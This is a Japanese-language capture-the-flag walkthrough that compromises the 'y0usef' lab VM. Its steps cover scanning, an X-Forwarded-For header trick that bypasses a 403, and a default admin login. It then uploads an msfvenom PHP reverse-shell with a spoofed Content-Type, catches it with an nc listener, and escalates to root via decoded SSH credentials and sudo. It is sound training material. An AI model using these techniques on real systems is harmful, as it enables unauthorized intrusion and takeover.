環境セットアップ
- 仮想マシンイメージ:y0usef.ova
- ハッシュ値(MD5):28c5d869b003be94b2d8ab4b7b54a3b9
- ハッシュ値(SHA):aca12b3a13e93e84555d36629e03f555124bfca2
- 検証例(Windows PowerShell):
Get-FileHash y0usef.ova -Algorithm SHA1 - 仮想化ソフト:VirtualBox
- ネットワークモード:Host-Only
- Kali Linux:NAT + Host-Only
ネットワーク探索
sudo arp-scan -l -I vboxnet0
Interface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1 192.168.56.100 08:00:27:XX:XX:XX PCS Systemtechnik GmbH 192.168.56.119 08:00:27:YY:YY:YY PCS Systemtechnik GmbH
ターゲット:192.168.56.119
ポートスキャン
nmap -sV -O 192.168.56.119
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 80/tcp open http Apache httpd 2.4.10 ((Ubuntu)) OS: Linux 3.X|4.X
Web 情報収集
トップページ
curl -s http://192.168.56.119 | html2text
「申し訳ありません、サイトは工事中です」というメッセージのみ。
技術スタック
whatweb http://192.168.56.119
Apache[2.4.10], PHP[5.5.9-1ubuntu4.29], Bootstrap, jQuery
ディレクトリ列挙
gobuster dir -u http://192.168.56.119 -w /usr/share/seclists/Discovery/Web-Content/common.txt
/adminstration (Status: 301) /index.php/login (Status: 200)
管理画面へのアクセス
/adminstration/ へアクセスすると 403 Forbidden が返される。
X-Forwarded-For: 127.0.0.1 を付与することで回避できる。
curl -H "X-Forwarded-For: 127.0.0.1" http://192.168.56.119/adminstration/
レスポンスにログインフォームが含まれる。
認証突破
試行錯誤の結果、以下のデフォルト認証情報でログイン成功。
- ユーザー名:
admin - パスワード:
admin
ファイルアップロード経由での WebShell 導入
- Kali で WebShell 生成
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw > shell.php - 管理画面の Upload 機能を利用して
shell.phpをアップロード - Content-Type を
image/pngに偽装してバリデーションを回避 - アップロードされたファイルのパス:
/adminstration/upload/files/1680000000_shell.php
リバースシェル取得
nc -lvnp 4444
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.119] 38234 Linux y0usef-VirtualBox 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 i686 i686 i686 GNU/Linux www-data@y0usef-VirtualBox:/var/www/html/adminstration/upload/files$
ホスト内情報収集
cd /home
ls -l
total 8 -rw-r--r-- 1 root root 64 Dec 8 2020 user.txt drwxr-xr-x 3 yousef yousef 4096 Dec 8 2020 yousef
cat user.txt | base64 -d
ssh : user : yousef pass : yousef123
SSH 経由でのユーザー昇格
ssh yousef@192.168.56.119
yousef@192.168.56.119's password: yousef123 yousef@yousef-VirtualBox:~$
sudo 権限確認
sudo -l
User yousef may run the following commands on y0usef-VirtualBox:
(ALL : ALL) ALL
root 権限獲得
sudo su
id
uid=0(root) gid=0(root) groups=0(root)
以上で演習完了。